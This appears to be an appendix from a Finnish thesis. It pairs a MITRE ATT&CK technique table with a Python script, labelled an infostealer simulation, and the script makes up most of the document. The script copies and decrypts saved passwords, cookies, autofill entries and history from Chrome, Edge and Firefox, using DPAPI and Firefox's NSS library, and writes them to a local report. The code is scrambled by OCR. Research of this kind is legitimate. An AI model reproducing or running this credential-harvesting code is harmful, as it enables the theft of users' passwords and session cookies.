Tiedustelu T1033 Jarjestelman kayttajan tai omistajan tunnistaminen
Tiedonkeruu T1560 Keratyn datan pakkaaminen

Tiedonkeruu T1119 Tiedonkeruun automatisointi

Tiedonkeruu T1005 Datan keraaminen paikallisesta jarjestelmasta
Tiedon siirto jarjestelman ulkopuolelle = T1041 Tiedon siirto C2-kanavan kautta

Tiedon siirto jarjestelman ulkopuolelle | T1020 Tiedonsiirron automatisointi

Komento ja ohjaus T1071 Sovelluskerros protokollan kaytté C2-kommunikoinnissa
Komento ja ohjaus T1132 Datan enkoodaaminen ennen C2-kommunikointia
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Liite 4. Python-skripti selainten paikallisten tietojen lukemiseen (Infostealer-simulaatio)

Taman skriptin tarkoituksena on havainnollistaa, millaista tietoa selaimet tallentavat
paikallisesti ja kuinka infostealer-tyyppinen haittaohjelma voisi teoriassa hyddyntaa tata

tietoa.

Skripti ei sisélla haitallisia toimintoja: se ei siirra tietoja ulkopuolisille tahoille, ei levita
itsedan, eika sisalld automaattista suorittamista tai piilotettuja toimintoja. Se ei sellaisenaan

ole kayttokelpoinen rikollisiin tarkoituksiin ilman merkittavia muutoksia.

Skripti on tarkoitettu yksinomaan tutkimukselliseen kayttoon kontrolloidussa ymparistossa.
Sen luvaton kayttd tai mahdollinen vaarinkaytto ei ole tyon tekijan tai oppilaitoksen
vastuulla. Skriptia ei tule kayttda muihin kuin omiin jarjestelmiin, eika sita tule kayttaa ilman

jarjestelman omistajan lupaa.

import os

import json

import shutil

import sqglite3

import base64

import ctypes

from ctypes import c void p, c¢ char p, ¢ uint, ¢ _int, byref, Structure
import win32crypt

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms,
modes

from cryptography.hazmat.backends import default backend

report = []

# Firefox NSS
class SECItem(Structure) :
_fields = [('type', c_uint), ('data', c¢ void p), ('len', c uint)]

# Helper functions

def add report(line):
print (line)
report.append(line)

def get chromium profiles (browser):
localappdata = os.environ['LOCALAPPDATA']
browser path os.path.join(localappdata, browser)
profiles = []
if os.path.exists (browser path):
for profile in os.listdir (browser path):
path = os.path.join(browser path, profile)
if os.path.isdir (path) and (profile == "Default" or
profile.startswith ("Profile")):
profiles.append (path)
return profiles

def decrypt chromium password (buff) :
try:



def read chromium passwords (profile path):

def

def

return win32crypt.CryptUnprotectData (buff, None, None,
0) [1] .decode ()

except:
return "[Decryption failed]"

login db = os.path.join(profile path,
if not os.path.exists(login db):

'Login Data')

return
shutil.copy2 (login db, 'login temp.db')
conn = sglite3.connect('login temp.db')
cursor = conn.cursor ()
try:

cursor.execute ('SELECT origin url, username value,
password value FROM logins LIMIT 15'")

for row in cursor.fetchall():
url = row[0]
username = row[1l]

password = decrypt chromium password(row[2])
add_report (f"Site: {url}\nUsername:
{password}\n---")

except:
pass
conn.close()
try:
os.remove ('login temp.db')
except:
pass

read chromium history(profile path):

history db = os.path.join(profile path,

if not os.path.exists (history db):

'History')

return
shutil.copy2 (history db, 'history temp.db')
conn = sglite3.connect('history temp.db')
cursor = conn.cursor()
try:

cursor.execute ('SELECT url, title FROM urls ORDER BY
last visit time DESC LIMIT 15')

for row in cursor.fetchall():
add_report (f"Title: {row[1l]}

except:

pass
conn.close ()
try:

os.remove ('history temp.db')
except:

pass

read chromium autofill (profile path):

autofill db = os.path.join(profile path,

if not os.path.exists (autofill db):

URL: {row[O]}™)

return
shutil.copy2 (autofill db, 'autofill temp.db')
conn = sqglite3.connect ('autofill temp.db')
cursor = conn.cursor ()
try:

'Web Data')
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None,

{username}\nPassword:

cursor.execute ('SELECT name, value FROM autofill LIMIT 15"')

for row in cursor.fetchall():
add_report (f"Field: {row[0]}
except:
pass
conn.close ()

Value:

{row[1]}")
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try:
os.remove ('autofill temp.db')
except:
pass

def read chromium cookies(profile path):
cookies db = os.path.join(profile path, 'Network',6 'Cookies')
if not os.path.exists (cookies db):

return
shutil.copy2 (cookies db, 'cookies temp.db')
conn = sglite3.connect ('cookies temp.db')
cursor = conn.cursor ()

try:
cursor.execute ('SELECT host key, name, value, encrypted value
FROM cookies LIMIT 15')
for row in cursor.fetchall():
host = row[0]
name row[1l]
value plain = row[2]
if value plain:
value = value plain
else:
try:
value = win32crypt.CryptUnprotectData (row[3],
None, None, None, 0)[1l].decode()

except:
value = "[Decryption failed]"
add_report (f"Host: {host} | Cookie Name: {name} | Value:
{value}™)

except:

pass
conn.close ()
try:

os.remove ('cookies temp.db')
except:

pass

def get firefox profiles():
appdata = os.environ['APPDATA']
profile path = os.path.join(appdata, 'Mozilla', 'Firefox',
'Profiles"')
profiles = []
if os.path.exists(profile path):
for folder in os.listdir(profile path):
full path = os.path.join(profile path, folder)
if os.path.isdir(full path):
profiles.append(full path)
return profiles

def initialize nss(profile path):
nss_path = r"C:\\Program Files\\Mozilla Firefox\\nss3.dll"
nss = ctypes.CDLL(nss_path)
if nss.NSS Init (profile path.encode('utf-8"')) != 0:
raise RuntimeError ("NSS init failed")
return nss

def decrypt firefox string(nss, encoded string):
if not encoded string:
return None
decoded = base64.b64decode (encoded string)
input item = SECItem()
output item = SECItem()
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input item.data =
ctypes.cast (ctypes.create string buffer(decoded), c_void p)

input item.len = len(decoded)

input item.type = 0

if nss.PK11SDR Decrypt (byref (input item), byref (output item),
None) == -1:

return None

result = ctypes.string at (output item.data,
output item.len) .decode ()

return result

def read firefox passwords (profile path):
logins path = os.path.join(profile path, 'logins.json')
if not os.path.exists(logins path):

return
try:
nss = initialize nss(profile path)
except:
add_report ("[-] NSS init failed.")
return
with open(logins path, 'r', encoding='utf-8') as f:

logins_data = json.load(f)
for login in logins_data.get('logins', []):
hostname = login.get ('hostname')
enc_username = login.get ('encryptedUsername')
enc_password = login.get ('encryptedPassword')
username = decrypt firefox string(nss, enc_username)
password = decrypt firefox string(nss, enc password)
add_report (f"Site: {hostname}\nUsername: {username}\nPassword:
{password}\n---")

def read firefox history(profile path):
db path = os.path.join(profile path, 'places.sglite')
if not os.path.exists(db_path):

return
shutil.copy2 (db _path, 'places temp.db')
conn = sglite3.connect('places temp.db')
cursor = conn.cursor()
try:

cursor.execute ('SELECT url, title FROM moz places ORDER BY
last_visit_date DESC LIMIT 15'")
for row in cursor.fetchall():
add_report (f"Title: {row[1]} | URL: {row[O]}")

except:

pass
conn.close()
try:

os.remove ('places temp.db')
except:

pass

def read firefox autofill (profile path):
db path = os.path.join(profile path, 'formhistory.sqglite')
if not os.path.exists(db_path):

return
shutil.copy?2 (db _path, 'form temp.db')
conn = sqglite3.connect('form temp.db')
cursor = conn.cursor ()

try:
cursor.execute ('SELECT fieldname, value FROM moz formhistory
LIMIT 15'")
for row in cursor.fetchall():
add_report (f"Field: {row[0]} | Value: {row[1l]}")
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except:

pass
conn.close ()
try:

os.remove ('form temp.db')
except:

pass

def read firefox cookies(profile path):
db path = os.path.join(profile path, 'cookies.sqglite')
if not os.path.exists(db_path):

return
shutil.copy2 (db_path, 'ff cookies temp.db')
conn = sqglite3.connect('ff cookies temp.db')
cursor = conn.cursor ()
try:

cursor.execute ('SELECT host, name, value FROM moz cookies
LIMIT 15'")
for row in cursor.fetchall():
add_report (f"Host: {row[0]} | Cookie Name: {row[1l]} |
Value: {row[2]}!")
except:
pass
conn.close()
try:
os.remove ('ff cookies temp.db')
except:
pass

def main():
# Chrome
add report ("===== Browser: Chrome =====")
for profile in get chromium profiles (r"Google\Chrome\User Data"):
add_report (f"Profile: {os.path.basename(profile)}")

add_report ("--- History ---")

read chromium history (profile)
add_report ("--- Autofill ---")
read chromium autofill (profile)
add_report ("--- Cookies ---")

read chromium cookies (profile)
add report ("--- Passwords ---")

read chromium passwords (profile)

# Edge

add report ("===== Browser: Edge =====")

for profile in get chromium profiles (r"Microsoft\Edge\User Data"):
add_report (f"Profile: {os.path.basename(profile)}")

add_report ("--- History ---")

read chromium history (profile)
add_report ("--- Autofill ---")
read chromium autofill (profile)
add report ("--- Cookies ---")

read chromium cookies (profile)
add report ("--- Passwords ---")

read chromium passwords (profile)

# Firefox
add _report ("===== Browser: Firefox =====")
for profile in get firefox profiles():
add_report (f"Profile: {os.path.basename(profile)}")
add report ("--- History ---")
read firefox history(profile)
add_report ("--- Autofill ---")
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read firefox autofill (profile)

add_report ("--- Cookies ---")
read firefox cookies(profile)
add report ("--- Passwords —---")

read firefox passwords (profile)
with open('report.txt', 'w', encoding='utf-8') as f:
for line in report:

f.write(line + '\n"'")

if name == " main_ ":
main ()
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